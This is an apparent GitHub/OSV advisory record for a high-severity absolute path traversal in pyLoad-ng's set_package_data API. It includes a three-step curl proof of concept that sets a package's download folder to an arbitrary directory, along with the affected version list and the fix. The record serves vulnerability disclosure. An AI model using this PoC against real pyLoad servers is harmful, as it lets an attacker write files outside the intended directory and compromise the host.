{"id":"GHSA-838g-gr43-qqg9","summary":"PyLoad vulnerable to Path Traversal via Package Folder Name in set_package_data","details":"### Summary\nNo sanitization of package folder name allows writing files anywhere outside the intended download directory.\n\n#### Affected Component\n- `src/pyload/core/api/__init__.py`\n- Function: `set_package_data()`\n\n### Details\nWhen passing a folder name in the `set_package_data()` API function call inside the data object with key `\"_folder\"`, there is no sanitization at all, allowing a user with `Perms.MODIFY` to specify arbitrary directories as download locations for a package.\n\n### PoC\n1) Create a package, note response package ID e.g. `5`\n```\ncurl -X 'POST' \\\n  'http://localhost:8000/api/add_package' \\\n  -H 'accept: application/json' \\\n  -H 'X-API-Key: \u003cvalid api key\u003e' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n  \"name\": \"set_package_data_exploit_poc\",\n  \"links\": [\n    \"http://example.com/file.txt\"\n  ],\n  \"dest\": 1\n}'\n```\n\n2) Call set_package_data for this package ID with an arbitrary directory \n```\ncurl -X 'POST' \\\n  'http://localhost:8000/api/set_package_data' \\\n  -H 'accept: */*' \\\n  -H 'X-API-Key: \u003cvalid api key\u003e' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n  \"package_id\": 5,\n  \"data\": {\n    \"_folder\": \"/users/root/\"\n  }\n}'\n```\n\n3) New download folder will be set without any checks\n```\ncurl -X 'GET' \\\n  'http://localhost:8000/api/get_queue' \\\n  -H 'accept: application/json' \\\n  -H 'X-API-Key: \u003cvalid api key\u003e'\n```\nResponse:\n```\n[\n  {\n    \"pid\": 5,\n    \"name\": \"set_package_data_exploit_poc\",\n    \"folder\": \"/users/root/\",\n    \"site\": \"\",\n    \"password\": \"\",\n    \"dest\": 1,\n    \"order\": 1,\n    \"linksdone\": 0,\n    \"sizedone\": 0,\n    \"sizetotal\": 0,\n    \"linkstotal\": 1,\n    \"links\": null,\n    \"fids\": null\n  }\n]\n```\n\n### Impact\nAllows Absolute Path Traversal to write in an arbitrary directory as long as the pyLoad process has write access.","aliases":["CVE-2026-42315","PYSEC-2026-129"],"modified":"2026-06-08T20:00:11.261995427Z","published":"2026-05-05T21:18:19Z","database_specific":{"nvd_published_at":"2026-05-11T18:16:35Z","cwe_ids":["CWE-22","CWE-36"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-05-05T21:18:19Z"},"references":[{"type":"WEB","url":"https://github.com/pyload/pyload/security/advisories/GHSA-838g-gr43-qqg9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42315"},{"type":"PACKAGE","url":"https://github.com/pyload/pyload"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-129.yaml"}],"affected":[{"package":{"name":"pyload-ng","ecosystem":"PyPI","purl":"pkg:pypi/pyload-ng"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.0b3.dev100"}]}],"versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b1.dev4","0.5.0b1.dev5","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b2.dev9","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77","0.5.0b3.dev78","0.5.0b3.dev79","0.5.0b3.dev80","0.5.0b3.dev81","0.5.0b3.dev82","0.5.0b3.dev85","0.5.0b3.dev87","0.5.0b3.dev88","0.5.0b3.dev89","0.5.0b3.dev90","0.5.0b3.dev91","0.5.0b3.dev92","0.5.0b3.dev93","0.5.0b3.dev94","0.5.0b3.dev95","0.5.0b3.dev96","0.5.0b3.dev97","0.5.0b3.dev98","0.5.0b3.dev99"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-838g-gr43-qqg9/GHSA-838g-gr43-qqg9.json","last_known_affected_version_range":"\u003c= 0.5.0b3.dev99"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"}]}